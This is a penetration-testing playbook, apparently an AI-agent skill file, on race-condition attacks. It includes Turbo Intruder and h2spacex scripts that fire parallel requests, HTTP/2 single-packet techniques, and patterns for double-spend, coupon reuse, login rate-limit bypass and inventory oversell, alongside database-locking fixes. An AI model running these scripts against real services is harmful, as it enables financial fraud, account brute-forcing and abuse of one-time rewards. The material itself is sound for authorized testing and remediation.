race-condition

SKILL: Race Conditions — Testing & Exploitation Playbook

AI LOAD INSTRUCTION: Treat race conditions as authorization/state integrity issues: non-atomic read-then-write lets multiple requests observe stale state. Prioritize one-time or balance-like operations. Combine parallel transport (HTTP/1.1 last-byte sync, HTTP/2 single-packet, Turbo Intruder gates) with application evidence (duplicate success responses, inconsistent balances, duplicate ledger rows). Authorized testing only. Routing note: for business workflows, coupons, inventory, or one-time rewards, start with this skill and cross-load business-logic-vulnerabilities.

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0. QUICK START — What to Test First

Target endpoints where check and update are unlikely to be a single atomic database operation:

Priority	Operation class	Example paths / parameters
1	One-time redeem / coupon / bonus	redeem, apply_coupon, claim_reward, voucher
2	Balance / quota / stock deduction	transfer, purchase, reserve, inventory
3	Invite / referral / signup bonus	invite_accept, referral_claim
4	Password / email / MFA verification	verify_token, confirm_email, reset_password
5	Idempotent-looking APIs without strong keys	POST that should succeed only once per user

First moves (conceptual):

1. Capture the state-changing request in a proxy.
2. Send 20–100 copies as simultaneously as your tooling allows.
3. Classify outcome: 0/1 expected successes vs N successes or inconsistent final state.

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1. CORE CONCEPT

1.1 TOCTOU (Time-of-check to time-of-use)

Thread A                    Thread B
   |                            |
   +-- CHECK (resource OK)      |
   |                            +-- CHECK (resource OK)  ← both see "OK"
   +-- USE / UPDATE             |
   |                            +-- USE / UPDATE           ← duplicate effect

TOCTOU means the decision (check) and the mutation (use) are not one indivisible step.

1.2 Non-atomic read-then-write

Typical vulnerable pseudo-flow:

balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
    UPDATE accounts SET balance = balance - ? WHERE id = ?

Two concurrent requests can both pass the if before either UPDATE commits.

1.3 Database-level vs application-level locking gaps

Layer	What goes wrong
Application	In-memory flag, cache, or session says "not used yet" while DB already updated — or the reverse.
ORM / service	Two instances, no distributed lock; each thinks it owns the decision.
DB	Missing SELECT … FOR UPDATE, wrong isolation level, or logic split across multiple statements without transaction.
API gateway	Per-IP rate limit is check-then-increment — parallel burst passes duplicate checks.

Hint: UNIQUE constraints and idempotency keys often eliminate entire bug classes — test whether the app enforces them on the hot path.

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2. ATTACK PATTERNS

2.1 Limit-overrun (double redeem / double claim)

Send the same authenticated request many times in parallel:

POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json

{"reward_id":"welcome_bonus"}

Success signal: HTTP 200/201 more than once, duplicate ledger entries, or balance higher than policy allows.

2.2 Rate-limit bypass via simultaneity

If limits are implemented as counters checked per request without atomic increment:

POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json

{"email":"victim@example.com","password":"wrong"}

Fire N parallel attempts in one wave; compare with N sequential attempts.

Success signal: more failures accepted than documented cap, or lockout never triggers when burst completes inside one window.

2.3 Multi-step exploitation (beat the pipeline)

Workflow: create → pay → confirm. If confirm does not cryptographically bind to pay completion:

1. Start two parallel pipelines from the same session/item.
2. Complete confirm on channel B while pay on channel A is still in-flight or abandoned.

Success signal: item marked paid/shipped without matching payment, or state skips backward.

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3. HTTP/1.1 LAST-BYTE SYNCHRONIZATION

Idea: Hold all requests blocked until every socket has sent the full request except the last byte of the body; then release the final byte together so the server receives them in a tight cluster.

Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+

Why: Reduces network jitter between copies compared to naive sequential paste in Repeater.

Tooling: Custom scripts, some Burp extensions, or Turbo Intruder gate pattern (see §5) as the practical stand-in for synchronized release.

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4. HTTP/2 SINGLE-PACKET ATTACK

Idea: Multiplex several complete HTTP/2 streams and coalesce their frames so the first bytes of all requests exit the NIC in one TCP segment (or minimally separated). Receiver-side scheduling then processes them with sub-millisecond spacing.

Burp Repeater (modern workflows):

1. Open multiple tabs or select multiple requests.
2. Use Send group (parallel) / single-packet attack where available.
3. Prefer HTTP/2 to the target if supported.

  [ Req A stream ]
  [ Req B stream ]  --HTTP/2-->  one burst -->  app worker pool
  [ Req C stream ]

Why it often beats HTTP/1.1 last-byte tricks: tighter alignment on the wire; less dependence on per-connection serialization.

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5. TURBO INTRUDER TEMPLATES

Repository: PortSwigger/turbo-intruder (Burp Suite extension).

5.1 Template 1 — Same endpoint, gate release

Settings: concurrentConnections=30, requestsPerConnection=30, use a gate so all threads fire together.

Core pattern (repeat N times, then release):

for _ in range(N):
    engine.queue(request, gate='race1')
engine.openGate('race1')

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Header requirement (unique per queued copy for log correlation; Turbo Intruder payload placeholder):

x-request: %s

Turbo Intruder replaces %s per request when paired with a wordlist (or other payload source) — keep this header on the base request in Repeater before sending to Turbo Intruder. Case-insensitive for HTTP; use a consistent name for log grep.

5.2 Template 2 — Multi-endpoint, same gate

Pattern: One POST to target-1 (state change) plus many GETs to target-2 (read side) released together to widen the TOCTOU window observation.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    engine.queue(post_to_target1, gate='race1')
    for _ in range(30):
        engine.queue(get_target2, gate='race1')

    engine.openGate('race1')

Adjust hosts/paths by duplicating RequestEngine instances if endpoints differ (Turbo Intruder supports multiple engines — consult upstream docs for your Burp version).

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6. CVE REFERENCE — CVE-2022-4037

CVE-2022-4037 (GitLab CE/EE): race condition leading to verified email address forgery and risk when the product acts as an OAuth identity provider — third-party account linkage/impact scenarios. CWE-362. Demonstrated in public research with HTTP/2 single-packet style timing to win narrow windows.

Takeaway for testers: email verification, OAuth linking, and "confirm ownership" flows are high-value race targets — not only coupons and balances.

References (official / neutral):

• NVD — CVE-2022-4037
• GitLab security advisories and vendor CVE JSON for affected version ranges

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7. TOOLS

Tool	Role
PortSwigger/turbo-intruder	High-concurrency replay, gates, scripting in Burp.
JavanXD/Raceocat	Race-focused HTTP client patterns (verify compatibility with your stack).
nxenon/h2spacex	HTTP/2 low-level / single-packet style experimentation (use responsibly, authorized targets only).
Burp Suite — Repeater	Send group (parallel) / single-packet attack for multi-request synchronization.

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8. DECISION TREE

                         START: state-changing API?
                                    |
                     NO -----------+---------- YES
                      |                        |
                   stop here              one-time / balance / verify?
                                                    |
                          +-------------------------+-------------------------+
                          |                         |                         |
                    coupon-like                 rate limit                  multi-step
                          |                         |                         |
                   parallel same req          parallel vs serial         parallel pipelines
                          |                         |                         |
                   duplicate success?           limit exceeded?          state mismatch?
                     /       \                    /       \                  /       \
                   YES       NO                 YES       NO               YES       NO
                    |         |                  |         |                |         |
              report +    try HTTP/2        report +    try TI        report +   deepen
              evidence    single-packet      evidence    gates                     per-step
                    |         |                  |         |                |         |
                    +----+----+                  +----+----+                +----+----+
                         |                            |                          |
                    tool pick                    tool pick                  tool pick
                         v                            v                          v
              Burp group / h2spacex            TI gates / Raceocat          TI + trace IDs

How to confirm (evidence checklist):

1. Reproducible duplicate success under parallelism, not flaky single retries.
2. Server-side artifact: two rows, two emails, two grants, or wrong final balance.
3. Correlate with x-request (or similar) markers or unique body fields in logs (authorized environments).

Routing summary: if the scenario is more about business rules, pricing, or workflow bypass, load skills/business-logic-vulnerabilities/SKILL.md; this file focuses on concurrency and transport-layer synchronization.

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9. HTTP/2 SINGLE-PACKET ATTACK — DETAILED MECHANICS

9.1 TCP Nagle Algorithm & Frame Coalescing

TCP's Nagle algorithm (RFC 896) buffers small writes and coalesces them into fewer, larger segments. When an HTTP/2 client writes multiple HEADERS+DATA frames in rapid succession without flushing between them, the kernel merges them into a single TCP segment (up to MSS, typically ~1460 bytes on Ethernet).

Application layer:   [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]
                            ↓ TCP Nagle coalescing ↓
TCP segment:         [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D]  ← one packet on the wire

• TCP_NODELAY disabled (default) → Nagle active → coalescing happens naturally
• If TCP_NODELAY is set, the client must use writev() / gather-write syscall to batch frames
• Practical limit: ~20–30 small requests per 1460-byte MSS; exceeding this splits across packets and degrades synchronization

9.2 Server-Side Request Queue Processing

NIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch

  ┌─ Stream 1 → worker thread A ─┐
  ├─ Stream 3 → worker thread B ─┤  sub-microsecond spacing
  └─ Stream 5 → worker thread C ─┘

1. Single recv() syscall returns the entire segment
2. HTTP/2 frame parser demultiplexes streams from same segment
3. Dispatcher fans out to application worker pool

First-to-last request dispatch gap: < 100 μs on modern servers — orders of magnitude tighter than HTTP/1.1 last-byte sync (~1–5 ms network jitter).

9.3 HTTP/2 vs HTTP/1.1 Last-Byte Comparison

Factor	HTTP/2 Single-Packet	HTTP/1.1 Last-Byte
Connections needed	1	N (one per request)
Wire synchronization	Same TCP segment	N segments released "simultaneously"
Network jitter impact	Zero (same packet)	Each connection has independent RTT
Server dispatch gap	< 100 μs	1–5 ms typical
Practical limit	~20–30 requests per MTU	Limited by connection setup

9.4 Practical Execution with h2spacex

import h2spacex

h2_conn = h2spacex.H2OnTCPSocket(
    hostname='target.example.com',
    port_number=443
)

headers_list = []
for i in range(20):
    headers_list.append([
        (':method', 'POST'),
        (':path', '/api/v1/rewards/claim'),
        (':authority', 'target.example.com'),
        (':scheme', 'https'),
        ('content-type', 'application/json'),
        ('authorization', 'Bearer TOKEN'),
    ])

h2_conn.setup_connection()
h2_conn.send_ping_frame()
h2_conn.send_multiple_requests_at_once(
    headers_list,
    body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
)
responses = h2_conn.read_multiple_responses()

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10. DATABASE ISOLATION LEVEL EXPLOITATION MATRIX

Isolation Level	Phenomenon Exploited	Attack Window	Typical Vulnerable Pattern
READ UNCOMMITTED	Dirty reads	Thread B reads Thread A's uncommitted write	SELECT balance sees in-flight deduction, proceeds with stale logic
READ COMMITTED	Non-repeatable reads (TOCTOU)	Both threads read committed balance, both pass check, both deduct	SELECT → app check → UPDATE without FOR UPDATE
REPEATABLE READ	Phantom reads	Snapshot isolation hides concurrent inserts; both threads see "0 claims" and insert	INSERT IF NOT EXISTS pattern without UNIQUE constraint
SERIALIZABLE	Advisory lock bypass	Application uses pg_advisory_lock() / GET_LOCK() with wrong scope or derivable key	Lock key from user input; session-vs-transaction scope mismatch

READ COMMITTED TOCTOU (most common in production)

-- Thread A                            -- Thread B
SELECT balance FROM accounts           SELECT balance FROM accounts
  WHERE id=1;  -- returns 100            WHERE id=1;  -- returns 100
-- app: 100 >= 100 ✓                   -- app: 100 >= 100 ✓
UPDATE accounts SET balance =          UPDATE accounts SET balance =
  balance - 100 WHERE id=1;             balance - 100 WHERE id=1;
COMMIT; -- balance = 0                 COMMIT; -- balance = -100 ← double-spend

Fix verification: SELECT ... FOR UPDATE should block Thread B's SELECT until Thread A commits.

REPEATABLE READ Phantom Insert

-- Thread A (snapshot at T0)           -- Thread B (snapshot at T0)
SELECT count(*) FROM claims            SELECT count(*) FROM claims
  WHERE user_id=1 AND coupon='X';        WHERE user_id=1 AND coupon='X';
-- returns 0 (snapshot)                -- returns 0 (snapshot)
INSERT INTO claims ...;                INSERT INTO claims ...;
COMMIT; -- succeeds                    COMMIT; -- succeeds ← duplicate claim

Fix: UNIQUE(user_id, coupon_id) constraint causes one INSERT to fail with duplicate key error regardless of isolation level.

SERIALIZABLE Advisory Lock Bypass

-- Application intends: one lock per coupon
SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
-- Bypass vectors:
--   1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips
--   2. Different code path reaches claim logic without acquiring the lock
--   3. Attacker triggers claim via alternative API endpoint that lacks locking

Quick Audit Checklist

□ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?
□ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?
□ Is the check-then-act sequence inside a single transaction?
□ Are UNIQUE constraints enforced on the critical state table?
□ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?

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11. LIMIT-OVERRUN ATTACK PATTERNS

11.1 Coupon / Promo Code Reuse

Target:   POST /api/apply-coupon {"code":"SUMMER50"}
Expected: One use per user
Attack:   20 parallel identical requests
Evidence: Multiple 200 responses, final order total = N × discount applied

Variations: same coupon across different cart items; apply-coupon + checkout in parallel (coupon consumed only at checkout).

11.2 Vote / Rating Manipulation

Target:   POST /api/vote {"post_id":123,"direction":"up"}
Expected: One vote per user per post
Attack:   50 parallel vote requests
Evidence: Vote count += N, or DB shows multiple vote rows for same user+post

11.3 Balance Double-Spend

Target:   POST /api/transfer {"to":"attacker","amount":100}
Balance:  Exactly 100
Attack:   2+ parallel transfers
Evidence: Both succeed, sender balance goes negative, recipient receives 200

Higher-value variant: withdrawal to external system (crypto, bank wire) where reversal is difficult.

11.4 Inventory Oversell

Target:   POST /api/purchase {"item_id":"limited_edition","qty":1}
Stock:    1 remaining
Attack:   20 parallel purchase requests
Evidence: Multiple orders created, stock counter goes negative

Compound attack: add-to-cart and checkout are separate steps, each checking inventory independently.

11.5 Referral / Signup Bonus

Target:   POST /api/referral/claim {"code":"REF_ABC"}
Expected: One claim per referred user
Attack:   Parallel claims from same session
Evidence: Bonus credited to referrer multiple times

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12. SINGLE-PACKET MULTI-ENDPOINT ATTACK

Instead of N copies of the same request, send requests to different endpoints in one HTTP/2 single-packet burst. This widens the TOCTOU window by hitting both the check and use paths simultaneously.

Pattern 1: State-check + State-mutate

Single TCP segment:
  Stream 1: GET  /api/balance       ← probe pre-state
  Stream 3: POST /api/transfer      ← mutate
  Stream 5: POST /api/transfer      ← mutate (duplicate)
  Stream 7: GET  /api/balance       ← probe post-state

Balance inconsistency between stream 1 and stream 7 confirms the race window was hit.

Pattern 2: Cross-resource race

Single TCP segment:
  Stream 1: POST /api/coupon/apply   ← apply discount
  Stream 3: POST /api/order/checkout ← finalize order

If coupon application and checkout check prices independently, the discount may apply after checkout has locked the price.

Pattern 3: Auth verification + Privileged action

Single TCP segment:
  Stream 1: POST /api/email/verify?token=TOKEN  ← verify email
  Stream 3: POST /api/account/upgrade            ← requires verified email

Upgrade may succeed during the brief window where verification is processing but not yet committed.

Practical setup

Burp Repeater: add requests targeting different paths to the same group → "Send group (single packet)".

headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]

all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']

h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)

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Related

• business-logic-vulnerabilities — workflow, coupon abuse, and logic-first checklists (../business-logic-vulnerabilities/SKILL.md).